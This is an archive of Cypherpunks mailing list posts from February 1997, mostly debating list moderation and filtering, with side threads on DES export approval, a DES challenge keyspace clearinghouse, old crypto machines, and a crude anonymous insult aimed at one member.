>Tim, the Cypherpunks have chosen to follow Sandy's lead for this
>month.  I'll admit I made it easy for them, but the results are
>conclusive.  There are 1311 addresses in the cypherpunks list today;
>42 in the unedited list; and 19 in the flames list.  Forty people
>cared enough to read every posting; the other thousand either wanted
>to try the experiment -- or didn't care enough to send an email
>message.  Which, as we all know, is a very low threshold.

[huge snip]

If I might make a suggestion:

Some people want moderation. That's fine, I've never been very big on
letting other people choose what I read, but some people want it.

For those who want it, let someone moderate the list for as long as
they care to do it. Approved messages get a "X-sandy-approved"
header. The responsibility for setting up a filter to toss everything
that doesn't have the header is the responsibility of the end user.
Toad will need to filter incoming posts to make sure they don't come
"pre-approved", but that's the only hole I can think of.

Everyone gets all of the Cypherpunks list. Those who want moderation
filter the unapproved posts, those who want all of it get all of it.

Hopefully, this will make (almost) everyone happy.








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Tue, 4 Feb 1997 14:19:35 -0800 (PST)
To: EALLENSMITH@ocelot.Rutgers.EDU (E. Allen Smith)
Subject: Re: Dissolving Choke Points
In-Reply-To: <01IF0X8F06V49AN1CU@mbcl.rutgers.edu>
Message-ID: <199702042214.QAA10072@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


E. Allen Smith wrote:
> 
> 	Hmm... since both you and Bill Stewart are pointing out various
> advantageous things about Usenet, I may need to retract my previous statement
> that mail fitering is better.

You were right initially, I agree that mail filtering has better tools
than news filtering (if you use Unix).

Procmail can do absolutely any filtering, unlike most news readers.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 4 Feb 1997 18:41:02 -0800 (PST)
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: Moderation [Tim,Sandy]
In-Reply-To: <v03007810af1d7405e4ee@[168.161.105.191]>
Message-ID: <32F7D350.1CA8@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Declan McCullagh wrote:
> Adam writes:
> >The problem with censorship or moderation is that it waters down the
> >absolutism of free speech.  Free speech in electronic media, with
> >cypherpunks type I, and type II remailers, is the closest thing to
> >truly free speech yet.

> I agree and disagree. Moderation often *increases* the value of speech. The
> Wall Street Journal, or Time Magazine, or the JAMA have strict policies
> regarding what information they print; these policies increase the
> publication's value. Moderation is not necessarily censorship. Would you
> criticize the National Coalition Against Censorship for not including in
> their newsletter (to which I subscribe) off-topic rants by Jesse Helms?

JAMA is an example of moderated (good) speech?  Not from where I sit.
Look at the "interview" they published in the spring of 1992 with the
Kennedy autopsy doctors.  Then read about how they twisted the whole
thing (and really didn't interview the doctors) a la 60 minutes.

> What Vulis and the rest (whom I killfiled long ago) have done is polluted a
> common resource, making it unusable for the rest. It's the tragedy of the
> commons. When all can speak without limit in a public forum, the drunken
> boor can shout everyone else down.

The drunk can be excluded, but when someone wants to use the drunk as
an example to escalate the exclusion to other persons who are not in
fact drunk, watch out!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 4 Feb 1997 18:41:10 -0800 (PST)
To: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Subject: Re: Moderation, Tim, Sandy, me, etc. * Strong crypto == DES?!
In-Reply-To: <01IF0RKNC5OW9AN1CU@mbcl.rutgers.edu>
Message-ID: <32F7D432.6298@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


E. Allen Smith wrote:
> From:   IN%"gnu@toad.com"  "John Gilmore"  4-FEB-1997 12:20:22.10

> >Tim, the Cypherpunks have chosen to follow Sandy's lead for this
> >month.  I'll admit I made it easy for them, but the results are
> >conclusive.  There are 1311 addresses in the cypherpunks list today;
> >42 in the unedited list; and 19 in the flames list.  Forty people
> >cared enough to read every posting; the other thousand either wanted
> >to try the experiment -- or didn't care enough to send an email
> >message.  Which, as we all know, is a very low threshold.

>         You're making an invalid assumption... namely that people who
> stayed on the moderated list are neccessarily wanting it to be the
> main list. This isn't the case with me, for instance. I'd also point
> out that some of us - including me - were taking the time to take a
> look at what happened with the moderated list. On the one hand, it
> did result in a decrease in the trash messages... on the other hand,
> it also drove away 1+ good posters (TCMay for one).

What's really ironic here is that given three people who have knowledge
of crypto/politics and something to say, the lesser two drove the best
one away.  Boo, hiss.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Tue, 4 Feb 1997 14:47:00 -0800 (PST)
To: ichudov@algebra.com
Subject: Re: New X-Ray Imager
In-Reply-To: <199702041941.LAA04346@toad.com>
Message-ID: <199702041649.QAA13848@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <199702041941.LAA04346@toad.com>, on 02/04/97 at 01:19 PM,
   ichudov@algebra.com said:


>Lucky Green wrote:
>> At 10:38 AM 2/4/97 -0500, Adam Shostack wrote:
>> >| A poll last week by the Los Angeles Times found that a majority of
>> people --
>> >| 58 percent -- said they would curtail some civil liberties if it would help
>> >| thwart terrorism. Thirteen percent said it would depend on what rights were
>> >| at stake. The poll didn't ask people to single out any rights.
>> >
>> >	Its worth noting the 'if it would help thwart terrorism.' 
>> 
>> It is irrelevant if terrorism is indeed be thwarted. The public does not
>> require this to happen. All that matters is to generate the *perception* of
>> increased security, not to increase security itself.

>Let's remember though that perception of security applies not only to
>passengers, but also to potential terrorists. If they *think* that they
>would not be able to bring a bomb easily, they would be less inclined to
>do so.

Not really,

The thin vail of "security" that the goverment provides may be good enough
to give warm-fuzzies to the avarage sheep, ...er citizen, but the potential
terrorists will see it for what it is.



- --
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: OS/2...Opens up Windows, shuts up Gates.

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Tue, 4 Feb 1997 13:59:41 -0800 (PST)
To: gbroiles@netbox.com
Subject: Re: Dissolving Choke Points
Message-ID: <01IF0X8F06V49AN1CU@mbcl.rutgers.edu>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"gbroiles@netbox.com"  "Greg Broiles"  4-FEB-1997 14:55:18.91

>But my impression is that many moderation opponents would also be opponents
>of a move to Usenet. Perhaps I'm wrong. But Usenet offers precisely what many
>people claim we must have for the list to be viable, e.g.,
>uncontrolled/uncontrollable distribution and messaging. So I'm curious about
>whether or not the proponents of an open, uncontrolled list really want it to
>be *that* open and uncontrolled. In the past, there's been strong opposition
>to that. But it's possible that most of the people who had strong feelings
>about not wanting to be subjected to the downside of Usenet have already left
>the list.

>(And if the current opponents of moderation don't want to see the list be
>quite that open, I think what we're arguing about here is not "censorship v.
>no censorship" but "what degree of censorship do we want? one lump, or two?",
>which pretty much eliminates anyone's claim to have a moral high ground from
>which to argue.)  

	Umm... there's a difference. Moderation is control by a _person_;
not moving to Usenet is control by nobody except how things happen to be set
up.

>The good side I see to a move to Usenet is that it lets people use the
>comparatively better tools for managing messages - e.g., NoCeM, threading, nn
>(whose killfiles will kill by thread, author, regexp, and can be time limited
>so you can easily give annoying people a 30-day 'timeout' and see if they're
>still a kook later on), AltaVista and DejaNews archiving/searching, and
>server architecture that's designed to cope with storing/indexing many
>messages.

	Hmm... since both you and Bill Stewart are pointing out various
advantageous things about Usenet, I may need to retract my previous statement
that mail fitering is better. On the other hand, other people have mentioned
the susceptibility of email to write-your-own filtering and other
processing. (For instance, I've got a project that needs cypherpunks (and
other controversial groups) to be on mailing lists instead of (or at least
as well as) news servers to work right.) Is there a full-scale equivalent
of procmail for Usenet, including functions like shunting messages to
programs et al?

>The down side is that Usenet is more or less a sewer these days, and some of
>it's bound to spill over. 

	Quite.
	-Allen




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anil Das <das@sgi.com>
Date: Tue, 4 Feb 1997 17:18:23 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: "alt.cypherpunks" people?
In-Reply-To: <5d8las$jps@fido.asd.sgi.com>
Message-ID: <32F7DFD7.794B@sgi.com>
MIME-Version: 1.0
Content-Type: text/plain


Adam Back wrote:
> 
> What do people think of starting an alt.cypherpunks USENET newsgroup?
> 

I have only one objection. I will never post to an Usenet group
under my real email address for fear of ending up in spammer
databases.

-- 
Anil Das




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dave Emery" <die@pig.die.com>
Date: Tue, 4 Feb 1997 14:32:20 -0800 (PST)
To: cypherpunks@toad.com
Subject: BA Crypto Machine Photos (fwd)
Message-ID: <9702042232.AA00365@pig.die.com>
MIME-Version: 1.0
Content-Type: text/plain


Forwarded message:
>From boatanchors@theporch.com  Tue Feb  4 12:01:17 1997
Date: Tue, 4 Feb 1997 10:53:20 -0600 (CST)
Message-Id: <Chameleon.4.01.2.970204112304.jproc@>
Errors-To: listown@jackatak.theporch.com
Reply-To: jproc@bellglobal.com
Originator: boatanchors@theporch.com
Sender: boatanchors@theporch.com
Precedence: bulk
From: jproc@bellglobal.com
To: Multiple recipients of list <boatanchors@theporch.com>
Subject: BA Crypto Machine Photos
X-Listprocessor-Version: 6.0c -- ListProcessor by Anastasios Kotsikonas
X-Comment: Amateur Radio Equipment Using Vacuum Tubes
Content-Type: TEXT/PLAIN; charset=US-ASCII
Mime-Version: 1.0
X-Mailer: Chameleon - TCP/IP for Windows by NetManage, Inc.

Dear BA'ers,

Recently, I acquired some BA crypto machine photos courtesy of the Canadian 
Security Establishment. If anyone wants full size, selected, JPEG copies of 
these photos, please let me know and I can send them as attached files to 
E-mail. As a reminder, there are two stories beginning with the same file 
name in the BA archives which accompany the photos.

KL7.JPG     Colour 108 kbytes
KWR37.JPG   B & W   51 kbytes   

BTW, does anyone know the meaning of 'order wire mode' in the context of a 
crypto broadcast? This mode is found in the KWR-37 online crypto 
receiver. Please send all photo requests or responses via private E-mail.

Regards,
-------------------------------------
Jerry Proc VE3FAB
E-mail: jproc@bellglobal.com
HMCS Haida Naval Museum
Toronto, Ontario
'Looking for a 'AN/SRC-501' 
-------------------------------------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vincent Cate <vince@offshore.com.ai>
Date: Tue, 4 Feb 1997 13:41:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: Press/Digital Wins US Dept of Comm. Approval to Export Encryption Prod. (fwd)
Message-ID: <Pine.LNX.3.91.970204174546.16199C@offshore>
MIME-Version: 1.0
Content-Type: text/plain



---------- Forwarded message ----------
Date: Tue, 4 Feb 1997 08:37:24 -0500
From: DIGITAL PRESS RELEASE <irprod@nimv03.das.dec.com>
To: pr-news@majordomo.das-x.dec.com
Subject: Press/Digital Wins US Dept of Comm. Approval to Export Encryption Prod.


||||||  Digital Press and Analysts News  ||||||||||||||||||||||||||||||||||

                                              Digital Equipment Corporation
                                          Maynard, Massachusetts 01754-2571

Editorial contact:

   Patrick Ward
   (508) 493-9441
   patrick.ward@mail.dec.com

           Digital Equipment Corporation Wins US Department of 
         Commerce Approval to Export Stronger Encryption Products

                 56-bit Data Scrambling Technology
               Safeguards Internet Commerce Worldwide

MAYNARD, Mass., February 3, 1997 -- Digital Equipment Corporation 
today announced that it has won United States Department of Commerce 
approval to export 56-bit encryption products worldwide, the 
strongest yet for protecting Internet commerce worldwide.

     Last week a University of California at Berkeley graduate 
student used a set of workstations to crack a 40-bit encryption code 
in 3.5 hours.  "The same workstations would require more than 20 
years to break a 56-bit Data Encryption Standard (DES Code), 
according to Samuel H. Fuller, DIGITAL's vice president and chief 
scientist.

     "The Commerce Department's action enables DIGITAL to provide 
its international customers with complete systems for electronic 
commerce over the Internet, including the necessary security 
software," according to DIGITAL's Chairman, Robert B. Palmer. "This 
makes the Internet more attractive for our customers worldwide, and 
represents an exciting market opportunity for DIGITAL."

     "We are very pleased with the leadership shown by DIGITAL's top 
management, including Robert Palmer, in making a long-term 
commitment to develop, produce and market key recovery products and 
to take advantage of the Administration's new policy on encryption 
exports," said Sue E. Eckert, assistant secretary for Export 
Administration.

     DIGITAL will immediately export 56-bit encryption for its 
OpenVMS operating systems and for its RoadAbout/DES Product for 
wireless LAN computing.  Shipments of the 56-bit export version of 
AltaVista Tunnel will follow this year.

     "AltaVista Tunnel software can simply and cost-effectively 
create 'Virtual Private Networks,' allowing customers who are 
traveling or at remote sites to securely access their company's 
private network over the public Internet," said Ilene H. Lang, 
president and chief executive officer of AltaVista Internet 
Software, and a vice president at DIGITAL. "Now the Virtual Private 
Networks we offer to customers in the United States can become 
Global Private Networks as the market expands worldwide."

     The Commerce Department announced on December 30 that American 
companies could export "strong" or Data Encryption Standard (DES)
encryption products, such as DIGITAL's industry-leading AltaVista 
Tunnel, if the companies could demonstrate progress in developing 
key-recovery products over the next two years.  Previously the US 
government had restricted export of strong encryption for security 
reasons.

     Digital Equipment Corporation is a world leader in open client/
server solutions from personal computers to integrated worldwide 
information systems.  DIGITAL's scalable Alpha and Intel platforms, 
storage, networking, software and services, together with industry-
focused solutions from business partners, help organizations compete 
and win in today's global marketplace.
                                ####

Note to Editors:  DIGITAL, the DIGITAL logo and OpenVMS are 
                  trademarks of Digital Equipment Corporation.

CORP/97/537
============================================================================
Digital Press and Analysts News is sent as a courtesy to members of 
the press, analyst and consulting community.  For subscription 
information please contact pr-news@pa.dec.com.  All Digital press 
releases, fact sheets and backgrounders are archived on ftp.digital.com 
in the /pub/Digital/info/pr-news directory.  They are also available at 
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============================================================================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Tue, 4 Feb 1997 18:04:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: [ANNOUNCEMENT] Zero-knowledge interactive proofs
Message-ID: <199702050204.SAA28886@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


The main difference between Tim C. Maypole and 
shit is that shit smells better.

       o       o
     /<         >\ Tim C. Maypole
     \\\_______///
     //         \\





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Tue, 4 Feb 1997 18:14:13 -0800 (PST)
To: Clint Barnett <nobody@replay.com>
Subject: Re: Getting into MIT is impossible
Message-ID: <199702050213.SAA14535@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


Erland van Lidth de Jeude is a MIT grad.  He played the big badass in "Stir 
Crazy."  Computer science major, BTW.




At 07:37 PM 2/3/97 -0800, Clint Barnett wrote:
>wasn't Dolph Lundgren an MIT grad? I seem to remember something about him 
>having a degree in Chemical Engineering  or something along those lines. 
>
>clint barnett
>lord of the cosmos
>emily carr institute
>
>On Wed, 29 Jan 1997, Anonymous wrote:
>
>> 
>> 
>> According to Rick Osborne:
>> 
>> "I disagree and can speak from experience.  I was denied admission to MIT
>> even thought I had a 3.82 GPA, 1440 SAT (one try), and had taken 9 AP tests
>> with two 5's, four 4's, two 3's, and one 2.  As for being well-rounded, I
>> was on several academic teams, sang in Chorus, acted and stage managed in
>> Drama, and played Tennis."
>> 
>> People get into MIT--or don't get into MIT--for lots of reasons. Most
>> intelligent people apply to several schools, knowing that admissions
>> practices are subject to the vagaries of reality.
>> 
>> In my case, my SATs were about 1500, with some 800s in achievement tests.
>> And the usual bullshit high school clubs, political offices, etc. etc. I
>> was accepted by MIT, but not by Caltech. I didn't lose any sleep over the
>> way things turned out.
>> 
>> And I decided not to go to MIT, either.
>> 
>> "The only thing I didn't have that the next MIT applicant had was money.  I
>> made the mistake of letting them know that I was dirt poor and would need
>> full aid/grants/etc, and to quote "The Great Escape" it was "Zzzt! To the
>> Russian front!""
>> 
>> My guess is that "other factors" were involved. 
>> 
>> I noted with some interest, but little surprise, that the guy claiming MIT
>> required a 4.0 GPA and a 1600 combined SAT score could barely spell, and
>> had major problems making a coherent point. Methinks this is why MIT
>> rejected him, not his lack of a "1600."
>> 
>> ">For what it's worth, I wanted to go to MIT my sophomore year in high
>> >school, too
>> 
>> "Lucky you.  It had been a dream of mine since I was an annoying
>> overachiever of 6.  Sux to be white trash, I guess."
>> 
>> MIT offered me a substantial economic aid package, in the form of loans,
>> grants, and various campus jobs. What does this tell you?
>> 
>> "MIT may be a great school, but they tend to be snooty assholes for the most
>> part.  (DISCLAIMER: Not all MIT grads/attendees are necessarily "snooty
>> assholes", I'm just saying that I've yet to meet one that wasn't.)
>> 
>> I've known about a dozen or so MIT grads, and only one of them was a snooty
>> asshole, and it was a _she_, one of the first MIT women grads (and she was
>> _very_ impressed by this). 
>> 
>> Most MIT grads are perfectly reasonable.
>> 
>> Xanthar
>> 
>> 
>> 
>> 
>> --
>> 
>
>
>
Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Tue, 4 Feb 1997 15:40:58 -0800 (PST)
To: Sean Roach <roach_s@alph.swosu.edu>
Subject: Re: concerning Ben Franklin
In-Reply-To: <199702032358.PAA06548@toad.com>
Message-ID: <v0300780faf1d7361be62@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain


This is one of the point that I address in my article in the February 1997
issue of "Internet Underground" magazine (to which I am a contributing
editor). Here's an excerpt, since the magazine is just starting to hit the
stands.

---
The debate swirling through Capitol Hill conference rooms and the
corridors of the White House revolves around one basic question: What role
should the government play in regulating encryption?

The founding fathers might be startled by the byzantine rules. After all,
some revolutionaries were cryptographers themselves. Benjamin Franklin in
1781 crafted a substitution cipher based on a 682-character French phrase.
James Madison created a code replacing words with two- and three-digit
numbers that he used until 1793.

But by far the most remarkable cryptologist of the Revolutionary War was
the author of the Declaration of Independence, Thomas Jefferson, who
between 1790 and 1800 invented a cipher system so far ahead of its time
that it remained in use even into the late 20th century.
---

The Codebreakers is also a good source.

-Declan


>I was reading one of the posts in the thread reguarding sone stolen object
>in Miami, the one reffering to the locks of the boxes, and it got me thinking.
>Ben Franklin was a revolutionary, scientist, inventor, publisher, statesman,
>and bookburner (according to F451).  Perhaps he should be considered to be a
>cypherpunk, not that he necessarily knew anything about crypto, but because
>he was interested in many of the same ideals.  It is my belief that were he
>alive today, he would be on this list.  If the work of fiction referred to
>above, and in another recent post, is accurate in its reference to Franklin,
>then he would seem to have had the same solution to net pollution, burn it.
>Rather than considering Ben Franklin the first fireman, I would like to
>think of him as an early breed of cypherpunk.  By this I consider cypherpunk
>to be interested in the subject, and its outcome, and a cryptographer to be
>just one faction of cypherpunk.  Merely my opinion.
>Does anyone know whether or not Mr. Franklin may have played with code as
>well?  All of my sources were assimilated into my understanding of the man
>several years ago, and at the time crypto was less in the public eye than it
>is now.



-------------------------
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Tue, 4 Feb 1997 15:40:51 -0800 (PST)
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: Moderation [Tim,Sandy]
In-Reply-To: <199702040158.RAA09697@toad.com>
Message-ID: <v03007810af1d7405e4ee@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain


Adam writes:

>The problem with censorship or moderation is that it waters down the
>absolutism of free speech.  Free speech in electronic media, with
>cypherpunks type I, and type II remailers, is the closest thing to
>truly free speech yet.

I agree and disagree. Moderation often *increases* the value of speech. The
Wall Street Journal, or Time Magazine, or the JAMA have strict policies
regarding what information they print; these policies increase the
publication's value. Moderation is not necessarily censorship. Would you
criticize the National Coalition Against Censorship for not including in
their newsletter (to which I subscribe) off-topic rants by Jesse Helms?

What Vulis and the rest (whom I killfiled long ago) have done is polluted a
common resource, making it unusable for the rest. It's the tragedy of the
commons. When all can speak without limit in a public forum, the drunken
boor can shout everyone else down.

-Declan



-------------------------
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 4 Feb 1997 18:41:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: My Departure, Moderation, and "Ownership of the List"
In-Reply-To: <Pine.SUN.3.95.970204101521.23691A-100000@viper.law.miami.edu>
Message-ID: <32F7EF3B.618B@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Michael Froomkin - U.Miami School of Law wrote:

> I'm afraid you have been a charter member of my killfile.  Any comments
> you may have made, I missed.  Since they weren't about crypto anyway, but
> about list moderation (a dull topic, IMHO), I can accept that.

I never commented about crypto?  Why, I even wrote a crypto program,
which few on this list have done, BTW.

I hope Sandy allows this on the big list, since Michael has penned
a message about me, but said that he won't allow my reply to him.

Nobody has to tell me (or probably anyone else either) that they
have killfiled me (or anyone else).  All they have to do is ignore
me (or anyone else), and there's no further problem, plus, as a
bonus, it makes for less noise on the list.  What say, Michael?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Tue, 4 Feb 1997 15:56:41 -0800 (PST)
To: Steve Schear <azur@netcom.com>
Subject: Re: Govt & cyberspace
In-Reply-To: <199702040325.TAA12048@toad.com>
Message-ID: <v03007815af1d791f1811@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain


Steve writes:

>Democracy is not without its significant shortcomings. If you doubt this
>read Tocquevelle.

Or Hayek. Democracy, after all, is majoritarian rule. Living under a
homogenous majority, with its whims and desires as law, would be more
oppressive than living under a benign dictatorship.

-Declan


-------------------------
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 4 Feb 1997 18:50:15 -0800 (PST)
To: aaron@herringn.com
Subject: Re: Moderation, Tim, Sandy, me, etc. * Strong crypto == DES?!
In-Reply-To: <l03010d03af1d7b43dd5c@[204.57.198.5]>
Message-ID: <32F7F50C.4CAE@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


aaron@herringn.com wrote:
> John Gilmore wrote:
> >I'm glad we're talking about some of the real issues here.
> >Tim, the Cypherpunks have chosen to follow Sandy's lead for this
> >month.  I'll admit I made it easy for them, but the results are
> >conclusive.  There are 1311 addresses in the cypherpunks list today;
> >42 in the unedited list; and 19 in the flames list.  Forty people
> >cared enough to read every posting; the other thousand either wanted
> >to try the experiment -- or didn't care enough to send an email
> >message.  Which, as we all know, is a very low threshold.

Re: the below.  Easily the best and most intelligent suggestion so
far.  Why couldn't Sandy and John with all their experience think
of this?

> If I might make a suggestion:
> Some people want moderation. That's fine, I've never been very big on
> letting other people choose what I read, but some people want it.
> For those who want it, let someone moderate the list for as long as
> they care to do it. Approved messages get a "X-sandy-approved"
> header. The responsibility for setting up a filter to toss everything
> that doesn't have the header is the responsibility of the end user.
> Toad will need to filter incoming posts to make sure they don't come
> "pre-approved", but that's the only hole I can think of.
> Everyone gets all of the Cypherpunks list. Those who want moderation
> filter the unapproved posts, those who want all of it get all of it.
> Hopefully, this will make (almost) everyone happy.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Tue, 4 Feb 1997 19:04:02 -0800 (PST)
To: "Timothy C. May" <cypherpunks@toad.com>
Subject: Re: My Departure, Moderation, and "Ownership of the List"
Message-ID: <199702050303.TAA20601@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:14 PM 2/3/97 -0800, Timothy C. May wrote:

>Several people have also commented on this, that their filters are still
>working overtime. As it should be, really, as no moderator can make the
>list match any given person's preferences.
>
>(Personally, I'm not even convinced filters are essential. It takes no
>longer than 5 seconds to glance at a message and know whether to scrap it
>or not. Granted, it takes a bit of time to download, especially at slower
>modem speeds. But whether Sandy's censorship is producing any significant
>"savings" depends on how many messages he's sorting into each
>pile...clearly if 20% or less of the total posts are being filtered out,
>then the savings are ignorable.

That might not be quite true, or at least not complete.  Another effect is 
that the new structure of the list may deter some of the flamers from 
posting, when they don't think their notes will be seen on the moderated list.

In any case, however, I agree that spam and trash are easy to filter out.



Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 4 Feb 1997 19:23:41 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Govt & cyberspace
In-Reply-To: <v03007815af1d791f1811@[168.161.105.191]>
Message-ID: <32F7FCD3.6DD1@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Declan McCullagh wrote:
> Steve writes:
> >Democracy is not without its significant shortcomings. If you doubt this
> >read Tocquevelle.

> Or Hayek. Democracy, after all, is majoritarian rule. Living under a
> homogenous majority, with its whims and desires as law, would be more
> oppressive than living under a benign dictatorship.

I wish for once and for all someone would delineate this "democracy"
thing from a true, distributed democracy, where every individual is
required to participate equally, and no narrow interests can co-opt
the vote the way they do in the kind of "democracy" Declan mentions.

Wouldn't it be better when people mention a one-word political
philosophy such as democracy, that they make the definition
more precise by using two or three words instead?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Against Moderation <antimod@nym.alias.net>
Date: Tue, 4 Feb 1997 11:23:19 -0800 (PST)
To: John Gilmore <gnu@toad.com>
Subject: Re: Moderation, Tim, Sandy, me, etc.  *  Strong crypto == DES?!
In-Reply-To: <199702041421.GAA27742@toad.com>
Message-ID: <19970204192309.25692.qmail@anon.lcs.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain


John Gilmore <gnu@toad.com> writes:

> Tim, the Cypherpunks have chosen to follow Sandy's lead for this
> month.  I'll admit I made it easy for them, but the results are
> conclusive.  There are 1311 addresses in the cypherpunks list today;
> 42 in the unedited list; and 19 in the flames list.  Forty people
> cared enough to read every posting; the other thousand either wanted
> to try the experiment -- or didn't care enough to send an email
> message.  Which, as we all know, is a very low threshold.

I just have to point out that you are ignoring some important factors
(though I do trust your intentions and believe it is unintentional).
I initially tried subscribing to all the lists, but the headers of the
edited and unedited lists were identical making it impossible to sort
the mail.  To make matters worse, some messages seem to have gone out
only to the edited list, and not to the unedited (particularly at the
beginning), so that, unable to come up with a decent filtering scheme
easily, I finally gave up and just subscribed to cypherpunks.

In general, unsubscribing and resubscribing to a mailing list is not
completely trivial.  In addition to the particulars of cypherpunks,
there are also the issues of what if your E-mail address depends on
the machine you send mail from and your unsubscribe request gets
delayed for confirmation.  What if the new list no longer works
properly with your mail filter and you end up with 1,000 pieces of
cypherpunks mail in your main mailbox, etc.  These are not
insurmountable obstacles, but they certainly provide a strong enough
disincentive for people to switching their list subscriptions that I
think the numbers you list above are meaningless.

Perhaps a better comparison would be to look at how many people
subscribe to the other two filtered cypherpunks lists.

> Perhaps at that point I should have shut down the list, as Lucky is
> now suggesting.

Well, you don't appreciate the content of the list, and you seem to
feel that many members of the list don't appreciate what you are
doing.  Why not shut the list down?  I can think of one reason:
cypherpunks seems to suck in a lot of crap, and might be keeping that
crap away from the coderpunks list.  Other than that, though, I think
killing this list would probably be a good idea.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Tue, 4 Feb 1997 19:25:28 -0800 (PST)
To: jproc@bellglobal.com
Subject: Re: BA Crypto Machine Photos
Message-ID: <v02140b00af1dad0ba0f5@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


>BTW, does anyone know the meaning of 'order wire mode' in the context of a
>crypto broadcast? This mode is found in the KWR-37 online crypto
>receiver. Please send all photo requests or responses via private E-mail.

If it means the same thing as in the telecom industry, its an out-of-band
(often analof) channel between two locations connected by wide-band (e.g.,
T1) facilities.  Its primary purpose is to provide service personnel, at
each end point, the ability to converse with one another while performing
work on that link.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Joel McNamara <joelm@eskimo.com>
Date: Tue, 4 Feb 1997 20:10:05 -0800 (PST)
To: coderpunks@toad.com
Subject: Unofficial DES Challenge Clearinghouse
Message-ID: <3.0.32.19970204200843.007272ec@mail.eskimo.com>
MIME-Version: 1.0
Content-Type: text/plain


Until someone comes up with an automated method of keyspace allocation for
the DES challenge (and maybe even after), I've decided to run the
Unofficial DES Challenge Clearinghouse.

This Web page will list keyspace that's already been searched (or is
planned to be searched) with links to any brute force utilities.

If you clear part of the keyspace, e-mail me the range, and I'll update the
page.

http://www.eskimo.com/~joelm/des.html

Yes, I agree that a trusted, verifiable method of keyspace allocation and
reporting needs to be put in place, but in the meantime, this rather simple
page will hopefully reduce some duplication of effort.

Joel




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Z.B." <zachb@netcom.com>
Date: Tue, 4 Feb 1997 20:28:44 -0800 (PST)
To: Name Withheld by Request <nobody@replay.com>
Subject: re: Moderation, Tim, Sandy, me, etc * Reputation Capital
In-Reply-To: <199702050025.BAA08118@basement.replay.com>
Message-ID: <Pine.3.89.9702042032.A19217-0100000@netcom18>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 5 Feb 1997, Name Withheld by Request wrote:

> [snip]
> John Gilmore said:
> >Perhaps at that point I should have shut down the list, as Lucky is
> >now suggesting.  "Asking the list what to do" was clearly not a useful
> >option.  Sandy cared enough about the community to make some concrete
> 
> Not a useful option? Why not? If there aren't any ideas left in this 
> community, I'm with Lucky. Pull the plug.
> [snip]

I've been meaning to ask this for a while...but why *don't* we just pull 
